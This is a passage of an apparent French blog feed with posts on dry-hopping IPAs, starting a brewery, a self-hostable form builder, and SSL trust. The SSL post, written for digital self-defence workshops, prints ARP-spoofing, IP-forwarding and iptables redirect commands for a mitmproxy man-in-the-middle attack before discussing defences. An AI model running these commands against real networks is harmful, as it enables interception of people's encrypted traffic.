&lt;p&gt;Alors, quand est le meilleur moment pour faire son houblonnage à cru ? Biern que ce ne soit pas une necessité, le fait de faire son houblonnage à cru en deux fois semble être un bon choix pour ce genre d'IPA. Prenez ce que vous pensiez ajouter lors du houblonnage à cru et séparez le en deux. Le premier ajout se fera durant la phase active de fermentation alors que le second se fera quand la fermentation se sera calmée et que les levures auront flocculées. Le premier ajout peut se faire à différents stades de la fermentation primaire; certains brasseurs les ajoutent au même moment qu'ils ensemencent, certains autres lorsque le krausen est haut, alors que la plupart l'ajoutent vers la fin de la fermentation. Je préfère faire le premier ajout une fois que le krausen est redescendu. Les hétérosides et les bio-transformations sont des éléments importants dans cette discussion à propos de comment la levure intéragit avec les huiles des houblons et les autres dérivés du houblon. Je trouve que les houblons ajoutés à la fin de l'ébullition vont apporter des caractéristiques similaires que les huiles de houblons ajoutés durant le ébut de la fermentation. Pour ce qui est du second ajout, l'objectif est d'attendre que la fermentation se soit calmée. Le timing n'est pas vraiment un facteur important ici, mais l'introduction d'oxygène est un point crutial. Prenez bien soin d'introduire le moins possible d'oxygène dans la bière à ce moment çi.&lt;/p&gt;
&lt;p&gt;Dernièrement, quelque chose qui est nouveau pour moi: le houblonnage à cru sous pression. Cela vous demandera de l'équipement supplémentaire, principalement quelque chose apellée une « Spunding Valve». Il s'agit d'une valve qui permet de garder une certaine pression dans le fermenteur. Si la pression dépasse la valeur cible, alors la valve s'ouvre pour faire redescendre le fermenteur à la valeur souhaité. Mais, en quoi cela pourrait-être interéssant pour nous ? Parce que nous cherchons à garder un maximum de houblons aromatiques, en évitant d'en perdre. Les brasseurs amateurs ainsi que les brasseurs pros se sont penchés sur la question des spuinding valve de plus en plus dernièrement pour la fermentation primaire et pour le houblonnage à cru.&lt;/p&gt;
&lt;p&gt;La révolution de la côte Est bat son plein et si vous ne pouvez pas venir sur place pour goûter un extrait, vous pouvez maintenant au moins commencer à brasser des bières avec un caractère similaire. Et si vous n'êtes pas un fan de ce type de bière, faites bien attention à laisser ceux qui apprécient déguster en paix.&lt;/p&gt;
&lt;p&gt;Remerciements spéciaux à tous les brasseurs qui ont contribué à la production de cet article: John Kimmich de The Alchemist, Shaun Hill de Hill Farmstead, Joel Mahaffrey de Foundation Brewing, Matt Nadeau de Rock Art Brewery et JC Tetrealt de Trillium. Allez leur rendre visite !&lt;/p&gt;</content></entry><entry><title>Brasserie du Vieux Singe — Installation en cours.</title><link href="https://blog.notmyidea.org/brasserie-du-vieux-singe-installation-en-cours.html" rel="alternate"></link><published>2017-06-26T00:00:00+02:00</published><updated>2017-06-26T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2017-06-26:/brasserie-du-vieux-singe-installation-en-cours.html</id><summary type="html">&lt;p&gt;Ça fait maintenant quelques mois que j'ai décidé de &lt;a href="https://www.vieuxsinge.com"&gt;changer de métier&lt;/a&gt;. Choix à la fois difficile et excitant. Une rupture qui laisse place à quelques étoiles dans les yeux. Enfin, je retrouve l'envie de créer, et je renoue avec mes rêves, ceux-la mêmes que je croyaient trop fous pour …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ça fait maintenant quelques mois que j'ai décidé de &lt;a href="https://www.vieuxsinge.com"&gt;changer de métier&lt;/a&gt;. Choix à la fois difficile et excitant. Une rupture qui laisse place à quelques étoiles dans les yeux. Enfin, je retrouve l'envie de créer, et je renoue avec mes rêves, ceux-la mêmes que je croyaient trop fous pour être à portée de main.&lt;/p&gt;
&lt;p&gt;La chose la plus frappante, c'est la vitesse à laquelle passent les journées: j'ai &lt;em&gt;vraiment&lt;/em&gt; l'impression d'avoir quitté Mozilla hier. Si les collègues me
manquent, je ne ferais machine arrière pour rien au monde: je trouve finalement ce sens qui me manquait cruellement.&lt;/p&gt;
&lt;p&gt;Après quelques hésitations au départ, j'ai décidé de mettre de côté mes activités liées à l'informatique: difficile à assumer quand on croise les copin.e.s avec qui on avait l'habitude de discuter énormement de ces sujets, mais ça permet de laisser plus de place pour l'humain. Plus de place pour les «Au fait, comment ça va toi ?» quand j'ai l'occasion de les recroiser, ce qui n'est pas plus désagréable :)&lt;/p&gt;
&lt;p&gt;Les journées sont donc organisées autour de la brasserie: beaucoup plus de planification que ce que j'imaginais au départ. Peut-être que c'est aussi du au fait que nous soyons tous les deux des ex-informaticiens un peu perfectionnistes sur les bords. On se voit très souvent pour avancer sur des sujets de fond tout comme sur du pratico-pratique. Pour vous donner un ordre d'idée des questionnements: Quelle taille d'entreprise ? Quelles valeurs communes ? Quelles bières ? Quelle image donner ? Quelle place donner au confort ? Comment éviter la compétitivité ? Comment réussir à impacter les producteurs (houblon / malt) de manière positive ? Quels salaires se donner ?&lt;/p&gt;
&lt;p&gt;Un peu de production quand même (pour les amis) mais on se garde la grosse partie pour le lancement.&lt;/p&gt;
&lt;h2&gt;Apprentissage&lt;/h2&gt;
&lt;p&gt;Je profite de ces quelques mois pour apprendre: autour de la fabrication et de la dégustation de bière bien sûr (encore un milieu en constante évolution !), mais pas que. J'ai maintenant quelques bases de gestion d'entreprise, en comptabilité, en biologie et en chimie. J'ai bien dit quelques &lt;em&gt;bases&lt;/em&gt;, mais qu'est-ce que c'est agréable !&lt;/p&gt;
&lt;p&gt;C'est assez agréable de se remettre dans une posture d'apprenant, et d'avoir le temps pour cet apprentissage.&lt;/p&gt;
&lt;h2&gt;Questionner la posture de «Chef d'entreprise» et son rapport au temps&lt;/h2&gt;
&lt;p&gt;Décider de créer sa boîte, c'est aussi se poser la question de comment organiser son temps: combien de temps travailler ? Quel temps donner aux loisirs ?&lt;/p&gt;
&lt;p&gt;Je trouve rassurant de voir ces interrogations abordées avant-même le démarrage de l'entreprise. La plupart des personnes qui nous suivent et nous guident partent du postulat qu'il faudra bosser énormement, là ou nous essayons de trouver un modèle qui soit viable dans le temps, notre souhait est de bosser à 80% (4 jours par semaine).&lt;/p&gt;
&lt;p&gt;Certes, il faut travailler pour que ça tourne, mais il faut aussi s'accorder des temps de respiration pour être d'autant plus efficace quand on bosse. C'est d'autant plus intéressant de prévoir ces aspects lors de la phase de &lt;em&gt;design&lt;/em&gt; de l'activité: on organise le temps autrement ! Ceux qui me lisent de temps à autre savent que c'est une constante de mes réflexions, on verra si ça fonctionne dans les faits.&lt;/p&gt;
&lt;h2&gt;Les projets collectifs&lt;/h2&gt;
&lt;p&gt;Un autre point important est la place que le &lt;em&gt;collectif&lt;/em&gt; prends dans cette nouvelle expérience. Au départ, quand j'imaginais le projet sur le court-terme, je mettais la composante collective au second plan dans l'immédiat (au delà des intéractions avec Fred, mon associé). L'occasion de travailler à la construction d'un espace collectif s'est présentée, et on y travaille actuellement.&lt;/p&gt;
&lt;p&gt;C'est à la fois riche (en partage de points de vue, en entre-aide) et à la fois difficile (beaucoup d'heures de réunions, il faut apprendre à communiquer de manière efficace, il faut parfois faire face à des conflits). Dans l'ensemble, je ne regrette pas ce choix même si il est important de ne pas perdre de vue les objectifs de la brasserie dans l'histoire.&lt;/p&gt;
&lt;p&gt;Et puis la collaboration ne s'arrête pas qu'au collectif d'activité: le milieu brassicole est en mutation, et les valeurs de partage font bel et bien partie du lot de changements. Les rencontre avec les brasseurs du coin de Rennes le montrent bien: l'esprit est plus à l'entraide qu'à la concurrence, au vu de la demande qui est toujours croissante. Tant mieux, on a autre chose à faire qu'à se tirer dans les pâtes ;)&lt;/p&gt;
&lt;h2&gt;Besoin de concret&lt;/h2&gt;
&lt;p&gt;Après cette phase assez énorme de réfléxion, de questionnement, de tricotage, de détricotage, de retricotage, j'ai bien envie de passer à l'action; et ça tombe bien, c'est ce qui est à l'horizon. L'idée est d'ouvrir la brasserie à la fin de cette année pour commencer la commercialisation en Janvier 2018. Ça fait un peu peur de voir l'échéance arriver, mais c'est aussi excitant que vertigineux…&lt;/p&gt;
&lt;p&gt;Faire ensemble. Imaginer les choses en petit un peu partout. Collaborer plutôt que se tirer dans les pattes. Renverser la vapeur. Trouver des alliés. Faire levier. Inscrire ses projets dans le temps. C'est peut-être un peu ça, grandir ?&lt;/p&gt;</content></entry><entry><title>Comment est-ce que vous générez vos formulaires ?</title><link href="https://blog.notmyidea.org/comment-est-ce-que-vous-generez-vos-formulaires.html" rel="alternate"></link><published>2016-05-31T00:00:00+02:00</published><updated>2016-05-31T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-05-31:/comment-est-ce-que-vous-generez-vos-formulaires.html</id><summary type="html">&lt;p&gt;TL; DR: Je viens à peine de &lt;em&gt;releaser&lt;/em&gt; la première version d'un service de génération de formulaires.
Allez jeter un coup d'œil sur &lt;a href="https://www.fourmilieres.net"&gt;https://www.fourmilieres.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;En février 2012, je parlais ici &lt;a href="https://blog.notmyidea.org/carto-forms.html"&gt;d'un service de génération de formulaires&lt;/a&gt;.
Depuis, pas mal d'eau à coulé sous les ponts, on est …&lt;/em&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;TL; DR: Je viens à peine de &lt;em&gt;releaser&lt;/em&gt; la première version d'un service de génération de formulaires.
Allez jeter un coup d'œil sur &lt;a href="https://www.fourmilieres.net"&gt;https://www.fourmilieres.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;En février 2012, je parlais ici &lt;a href="https://blog.notmyidea.org/carto-forms.html"&gt;d'un service de génération de formulaires&lt;/a&gt;.
Depuis, pas mal d'eau à coulé sous les ponts, on est passé par pas mal d'étapes pour
finalement arriver à une première version de ce service de génération de
formulaires (à la &lt;/em&gt;google forms&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;En tant qu'organisateurs d'évènements (petits et gros), je me retrouve souvent
dans une situation ou je dois créer des formulaires pour recueillir des
informations. Actuellement, la meilleure solution disponible est &lt;em&gt;Google Forms&lt;/em&gt;,
mais celle ci à plusieurs problèmes, à commencer par le fait que le code n'est
pas libre et que les données sont stockées chez Google.&lt;/p&gt;
&lt;p&gt;La plupart du temps, le besoin est assez simple: je veux spécifier quelques
questions, et donner un lien à mes amis pour qu'ils puissent y répondre.
Je reviens ensuite plus tard pour voir la liste des réponses apportées.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de l'interface de création du formulaire" src="{filename}/static/formbuilder-build.png"&gt;&lt;/p&gt;
&lt;h2&gt;Fonctionnalités&lt;/h2&gt;
&lt;p&gt;Il existe pas mal de solutions techniques qui essayent de répondre à la même
problématique, mais la plupart d'entre elles sont assez souvent compliquées,
nécessitent de se créer un compte, et/ou ne vous laisse pas la main libre sur
les données générées, voire le code est assez difficile à faire évoluer ou à
déployer.&lt;/p&gt;
&lt;p&gt;Je voulais donc quelque chose de simple à utiliser &lt;em&gt;et&lt;/em&gt; pour les créateurs de
formulaires &lt;em&gt;et&lt;/em&gt; pour les utilisateurs finaux. Pas de chichis, juste quelques
vues, et des URLs à sauvegarder une fois l'opération terminée.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de l'écran avec les URLs générées" src="{filename}/static/formbuilder-created.png"&gt;
&lt;img alt="Capture d'écran d'un exemple de formulaire" src="{filename}/static/formbuilder-form.png"&gt;&lt;/p&gt;
&lt;h3&gt;Pas de compte&lt;/h3&gt;
&lt;p&gt;Vous n'avez pas besoin d'avoir un compte sur le site pour commencer à l'utiliser.
Vous créez simplement un nouveau formulaire puis envoyez le lien à vos amis pour
qu'eux puissent à leur tour le remplir.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de la page d'accueil, ou aucun compte n'est requis" src="{filename}/static/formbuilder-welcome.png"&gt;&lt;/p&gt;
&lt;h3&gt;Gardez la main sur vos données&lt;/h3&gt;
&lt;p&gt;Une fois que vous avez récupéré les réponses à vos questions, vous pouvez
récupérer les données sur votre machines dans un fichier &lt;code&gt;.csv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de la page de resultats, il est possible de télécharger en CSV." src="{filename}/static/formbuilder-results.png"&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;p&gt;L'ensemble des données sont en fait stockées dans &lt;a href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;
qui est interrogeable très facilement en HTTP. Ce qui fait qu'il est très facile de
réutiliser les formulaires que vous avez construits (ou leurs réponses) depuis
d'autres outils.&lt;/p&gt;
&lt;h3&gt;Auto-hébergeable&lt;/h3&gt;
&lt;p&gt;Un des objectifs de ce projet est de vous redonner la main sur vos données.
Bien sur, vous pouvez utiliser l'instance qui est mise à votre disposition sur
&lt;a href="https://www.fourmilieres.net"&gt;wwww.fourmilieres.net&lt;/a&gt;, mais vous pouvez
également l'héberger vous même très
simplement, et vous êtes d'ailleurs fortement encouragés à le faire ! Notre
objectif n'est pas de stocker l'ensemble des formulaires du monde, mais de
(re)donner le contrôle aux utilisateurs !&lt;/p&gt;
&lt;h2&gt;On commence petit…&lt;/h2&gt;
&lt;p&gt;Cette &lt;em&gt;release&lt;/em&gt; n'est (bien sur) pas parfaite, et il reste encore pas mal de
travail sur cet outil, mais je pense qu'il s'agit d'une base de travail
intéressante pour un futur où Google n'a pas la main sur toutes nos données.&lt;/p&gt;
&lt;p&gt;La liste des champs supportés est pour l'instant assez faible (Texte court,
Texte long, Oui/Non, choix dans une liste) mais elle à vocation à s'étendre, en
fonction des besoins de chacun.&lt;/p&gt;
&lt;p&gt;J'ai d'ailleurs créé &lt;a href="https://www.fourmilieres.net/#/form/cfd878264cec4ed2"&gt;un formulaire pour que vous puissiez me faire part de vos
retours&lt;/a&gt;, n'hésitez pas !&lt;/p&gt;
&lt;h2&gt;Et, euh, comment ça marche ?&lt;/h2&gt;
&lt;p&gt;Le &lt;em&gt;formbuilder&lt;/em&gt;, comme j'aime l'appeler se compose en fin de compte de deux
parties distinctes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;, un service qui stocke
des données coté serveur et qui les expose via des &lt;strong&gt;APIs HTTP&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kinto/formbuilder"&gt;Le formbuilder&lt;/a&gt;, une application
JavaScript qui ne tourne que coté client (dans votre navigateur) qui permet
de construire les formulaires et d'envoyer les données sur les &lt;em&gt;APIs&lt;/em&gt; coté
serveur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au niveau de la &lt;em&gt;stack&lt;/em&gt; technique, le &lt;strong&gt;formbuilder&lt;/strong&gt; est codé en ReactJS. Un
des points techniques intéressants du projet est qu'il génère en fin de compte du
&lt;a href="http://jsonschema.net/"&gt;JSON Schema&lt;/a&gt;, un format de validation de données &lt;em&gt;JSON&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Donc, reprenons! Vous arrivez sur la page d'accueil puis cliquez sur
"Create a new form", puis vous vous retrouvez face à une interface ou vous pouvez
ajouter des champs de formulaire. Une fois ce travail effectué, vous appuyez sur
"Create the form".&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le JSON Schema est alors envoyé au serveur Kinto, qui l'utilisera pour valider
les données qu'il recevra par la suite.&lt;/li&gt;
&lt;li&gt;Ce JSON Schema sera aussi utilisé lors de l'affichage du formulaire aux
personnes qui le remplissent.&lt;/li&gt;
&lt;li&gt;Un jeton d'accès est généré et ajouté à l'URL, il s'agit de l'identifiant du
formulaire.&lt;/li&gt;
&lt;li&gt;Un second jeton d'accès administrateur et généré, il vous faut le garder de
coté pour avoir accès aux réponses.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, en espérant que ça vous serve ! Un petit pas dans la direction des données
rendues à leurs utilisateurs !&lt;/p&gt;</content></entry><entry><title>Cloisonnement des activités ?</title><link href="https://blog.notmyidea.org/cloisonnement-des-activites.html" rel="alternate"></link><published>2016-05-29T00:00:00+02:00</published><updated>2016-05-29T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-05-29:/cloisonnement-des-activites.html</id><summary type="html">&lt;p&gt;Je vous écris depuis un train, en rentrant de Bordeaux où j'ai passé quelques
jours à l'occasion de &lt;a href="http://sudweb.fr/"&gt;SudWeb&lt;/a&gt;. Si vous ne connaissez pas
cette conférence, il s'agit d'un moment avec des gens chouettes qui se posent
des questions sur leur metier, comment le vivre et comment continuer à en …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je vous écris depuis un train, en rentrant de Bordeaux où j'ai passé quelques
jours à l'occasion de &lt;a href="http://sudweb.fr/"&gt;SudWeb&lt;/a&gt;. Si vous ne connaissez pas
cette conférence, il s'agit d'un moment avec des gens chouettes qui se posent
des questions sur leur metier, comment le vivre et comment continuer à en faire
un plaisir. Oh, et des fois on parle un peu de technique aussi.&lt;/p&gt;
&lt;h1&gt;Alors, brasserie ou code ?&lt;/h1&gt;
&lt;p&gt;Ces quelques jours ont été fort inspirants. Alors que je suis en train de
changer de métier (vers celui de brasseur) c'était un moyen de me rendre compte
que bien que je ne souhaite plus faire du Web mon métier &lt;em&gt;la, tout de suite,
maintenant&lt;/em&gt;, je reste un passionné par la chose.&lt;/p&gt;
&lt;p&gt;En partant de Rennes, je ne savais pas trop quoi penser de cette situation.
Prendre un week-end pour échanger avec les gens sur quelque chose dont je
m'éloigne ? C'est pas une perte de temps ?&lt;/p&gt;
&lt;p&gt;Si je passe du temps à écrire des bouts de code, des logiciels, à reflechir
à comment solutionner certains problemes, ce n'est pas parce que je suis payé
pour le faire, mais bel et bien parce que je me sens bien lorsque je le fais,
parce que j'y trouve un équilibre et une utilité.&lt;/p&gt;
&lt;p&gt;Alors que je ne trouvais plus cet équilibre dans mon travail, j'ai choisi d'en
changer, mais il n'empèche que je continue à avoir des rèves d'un
monde meilleur, dans lequel l'informatique a sa place. Juste à voir les
discussions (ux, sécurité informatique, décentralisation, architecture
logicielle) que j'ai pu avoir ce weekend, il n'y a pas l'ombre d'un doute !&lt;/p&gt;
&lt;p&gt;Jusqu'ici je me suis dit que je devais choisir. J'ai pensé naivement
que je ne pouvais pas être &lt;em&gt;et&lt;/em&gt; un brasseur &lt;em&gt;et&lt;/em&gt; un developpeur, mais la
réalité c'est que c'est exactement ce que je suis: les deux.&lt;/p&gt;
&lt;p&gt;Je ne suis pas pour autant dupe sur le temps necessaire à lancer une activité
brassicole, il va falloir fournir de l'énergie et avancer sur le projet, mais
il n'empèche que même si je décide de faire de la bière mon metier, mes
passions pour le reste sont bien vivantes.&lt;/p&gt;
&lt;p&gt;Bref, merci sudweb pour m'avoir accompagné dans ces reflexions, à l'année
prochaine, je ramène des futs ?&lt;/p&gt;</content></entry><entry><title>Avez vous confiance en SSL?</title><link href="https://blog.notmyidea.org/avez-vous-confiance-en-ssl.html" rel="alternate"></link><published>2016-03-25T00:00:00+01:00</published><updated>2016-03-25T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-03-25:/avez-vous-confiance-en-ssl.html</id><summary type="html">&lt;p&gt;Dans le cadre &lt;a href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;des ateliers d'autodéfense numérique&lt;/a&gt;,
j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est
&lt;strong&gt;absolument&lt;/strong&gt; pas suffisant.&lt;/p&gt;
&lt;p&gt;Allez hop …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dans le cadre &lt;a href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;des ateliers d'autodéfense numérique&lt;/a&gt;,
j'ai passé un peu de temps à creuser sur l'utilisation de SSL puisque
contrairement à ce que la plupart des personnes ont encore tendance à croire,
le petit cadenas (qui prouve qu'une connexion SSL est en cours) n'est
&lt;strong&gt;absolument&lt;/strong&gt; pas suffisant.&lt;/p&gt;
&lt;p&gt;Allez hop, c'est parti pour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un tour d'horizon du fonctionnement de SSl&lt;/li&gt;
&lt;li&gt;quelques moyens contourner cette "protection" en faisant une attaque en pratique&lt;/li&gt;
&lt;li&gt;un tour des solutions existantes actuellement et de pourquoi je ne les trouve
pas vraiment satisfaisantes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Comment fonctionne SSL?&lt;/h2&gt;
&lt;p&gt;Pour expliquer les problèmes de SSL, j'ai d'abord besoin d'expliquer comment
tout ça fonctionne.&lt;/p&gt;
&lt;p&gt;SSL repose sur l'utilisation de certificats, qui sont générés par des autorités
de certification (&lt;em&gt;Certificate Authority&lt;/em&gt; que je nomme &lt;em&gt;CA&lt;/em&gt; dans la suite de
l'article).&lt;/p&gt;
&lt;p&gt;Les certificats SSL permettent deux choses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;De garantir que les communications entre les navigateurs (vous) et les sites
Web ne sont connues que du détenteur du certificat du site et de vous même.&lt;/li&gt;
&lt;li&gt;De garantir que le site sur lequel vous vous connectez est bien celui que
vous imaginez.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le navigateur, lors d'une visite d'un site, va télécharger le certificat
associé puis vérifier que le certificat en question a bien été généré par un
des &lt;em&gt;CA&lt;/em&gt; en qui il a confiance.&lt;/p&gt;
&lt;p&gt;Imaginons maintenant qu'une des &lt;em&gt;CA&lt;/em&gt; essaye de savoir ce qui s'échange entre
mon navigateur et le site de ma banque (protégé par SSL). Comment cela se
passerait il ?&lt;/p&gt;
&lt;p&gt;N'importe quel &lt;em&gt;CA&lt;/em&gt; peut donc générer des certificats pour n'importe quel site,
et le navigateur vérifierait, lui, que le certificat a bien été généré par une
&lt;em&gt;CA&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tout cela ne poserait pas de soucis si les &lt;em&gt;CA&lt;/em&gt; étaient gérés de manière fiable,
mais il s'agit d'un travail compliqué, et certains &lt;em&gt;CA&lt;/em&gt; ont par le passé montré
des faiblesses.&lt;/p&gt;
&lt;p&gt;Par exemple, &lt;a href="https://en.wikipedia.org/wiki/DigiNotar"&gt;DigiNotar&lt;/a&gt; (un &lt;em&gt;CA&lt;/em&gt; des Pays-Bas)
a été compromise et les attaquant.e.s ont pu générer des certificats SSL
frauduleux, ce qui leur a permis d'attaquer des sites tels que Facebook ou GMail.&lt;/p&gt;
&lt;p&gt;Vous pouvez retrouver une liste des risques et menaces autour des &lt;em&gt;CA&lt;/em&gt; &lt;a href="http://wiki.cacert.org/Risk/History"&gt;sur le
wiki de CACert&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Attaque de l'homme du milieu avec SSL&lt;/h2&gt;
&lt;p&gt;A force de dire que c'était très facile à faire, j'ai eu envie d'essayer
d'espionner des connections protégées par SSL, et effectivement c'est
carrément flippant tellement c'est simple.&lt;/p&gt;
&lt;p&gt;En l'espace de quelques minutes, il est possible de faire une &lt;em&gt;attaque de
l'homme du milieu&lt;/em&gt; en utilisant par exemple un outil nommé &lt;a href="http://docs.mitmproxy.org/en/stable"&gt;mitm-proxy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour déchiffrer l'ensemble du trafic SSL, j'ai simplement eu à lancer quelques
commandes et avoir un &lt;em&gt;CA&lt;/em&gt; dans lequel le navigateur de la victime a confiance.
Je l'ai ajouté dans le navigateur cible pour simuler que je l'avais déjà
(c'est le cas si un des 1200 CA se fait pirater, ce qui me semble une surface
d'attaque assez large).&lt;/p&gt;
&lt;p&gt;Je les colle ici si ça vous intéresse:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo aptitude install mitmproxy
$ mitm-proxy -T --host
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il faut faire croire à votre victime que vous êtes la passerelle vers
l'extérieur et à la passerelle que vous êtes la victime:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;arpspoof -i wlan0 -t victime gateway
arpspoof -i wlan0 -t gateway victime
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Puis dire à notre fausse passerelle de rediriger le trafic des ports 80 et 443
vers notre proxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo sysctl -w net.ipv4.ip_forward&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport &lt;span class="m"&gt;443&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;4443&lt;/span&gt;
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport &lt;span class="m"&gt;80&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;4443&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et paf, &lt;strong&gt;on voit tout ce qui passe entre la machine et le serveur SSL&lt;/strong&gt;. On peut
d'ailleurs même imaginer faire tourner ces quelques commandes sur un
raspberry pi, pour aller encore plus vite…&lt;/p&gt;
&lt;h3&gt;Key-pinning dans les navigateurs&lt;/h3&gt;
&lt;p&gt;Actuellement, n'importe quel &lt;em&gt;CA&lt;/em&gt; peut générer des certificats pour
n'importe quel site, et c'est en grande partie ce qui pose souci. Une des
manières de faire évoluer la situation est d'épingler les certificats de
certains sites directement dans les navigateurs.&lt;/p&gt;
&lt;p&gt;Cette approche a le mérite de fonctionner très bien &lt;a href="https://dxr.mozilla.org/mozilla-central/source/security/manager/ssl/StaticHPKPins.h?from=StaticHPKPins.h"&gt;pour un petit nombre de
sites critiques (Google, Facebook, etc)&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;HTTP Public Key Pinning (HPKP)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://developer.mozilla.org/en/docs/Web/Security/Public_Key_Pinning"&gt;&lt;em&gt;HTTP Public Key Pinning&lt;/em&gt;&lt;/a&gt;
est également une solution de &lt;em&gt;pinning&lt;/em&gt; qui permet d'établir une confiance lors
de la première connexion avec le site. C'est ce qu'on appelle du &lt;em&gt;Trust on First
Use&lt;/em&gt; ou &lt;em&gt;TOFU&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Le navigateur va alors mettre ces informations dans un cache et vérifiera que
les certificats correspondent bien lors des prochaines visites.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;HPKP&lt;/em&gt; est disponible dans Firefox depuis Janvier 2015 et dans Chrome
depuis Octobre 2015.&lt;/p&gt;
&lt;h3&gt;Certificate transparency: des journaux auditables&lt;/h3&gt;
&lt;p&gt;Une autre approche est celle proposée par &lt;em&gt;certificate transparency&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Certificate Transparency aims to remedy these certificate-based threats by
making the issuance and existence of SSL certificates open to scrutiny by
domain owners, CAs, and domain users.&lt;/p&gt;
&lt;p&gt;-- &lt;a href="https://www.certificate-transparency.org/what-is-ct"&gt;Certificate Transparency&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Autrement dit, avec ce système les &lt;em&gt;CA&lt;/em&gt; doivent rendre public le fait qu'ils
aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à
un journal sur lequel il n'est possible que d'écrire.&lt;/p&gt;
&lt;p&gt;Les navigateurs vont alors vérifier que les certificats utilisés sont bien des
certificats qui ont été ajoutés au journal.&lt;/p&gt;
&lt;p&gt;Ici, toute l'intelligence est dans la vérification de ces journaux, qui
permettent donc de valider/invalider des certificats racines ou intermédiaires.&lt;/p&gt;
&lt;p&gt;Il me semble donc qu'il serait possible d'ajouter un certificat frauduleux le
temps d'une attaque (et celui ci serait détecté et supprimé ensuite).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Certificate-Transparency&lt;/em&gt; n'est donc pas une solution contre une écoute
globale mise en place par les gouvernements par exemple.&lt;/p&gt;
&lt;p&gt;Si vous lisez bien l'anglais, je vous invite à aller lire
&lt;a href="http://security.stackexchange.com/a/52838"&gt;cette description du problème et de la solution&lt;/a&gt;
que je trouve très bien écrite.&lt;/p&gt;
&lt;h3&gt;DANE + DNSSEC&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The DANE working group has developed a framework for securely
retrieving keying information from the DNS [RFC6698]. This
framework allows secure storing and looking up server public key
information in the DNS. This provides a binding between a domain
name providing a particular service and the key that can be used
to establish encrypted connection to that service.&lt;/p&gt;
&lt;p&gt;-- &lt;a href="https://datatracker.ietf.org/wg/dane/charter/"&gt;Dane WG&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une autre solution est appelée "DANE" et repose par dessus le protocole
&lt;em&gt;DNSSEC&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je connais assez mal &lt;em&gt;DNSSEC&lt;/em&gt; donc j'ai passé un peu de temps à lire des
documents. L'impression finale que ça me laisse est que le problème est
exactement le même que pour SSL: un certain nombre de personnes détiennent les
clés et toute la sécurité repose sur cette confiance. Or il est possible que
ces clés soient détenues par des personnes non dignes de confiance.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a
trusted public key certificate to determine the authenticity of data.
-- https://en.wikipedia.org/wiki/DNS_spoofing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et aussi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is widely believed[1] that securing the DNS is critically important for
securing the Internet as a whole, but deployment of DNSSEC specifically has
been hampered (As of 22 January 2010) by several difficulties:&lt;/p&gt;
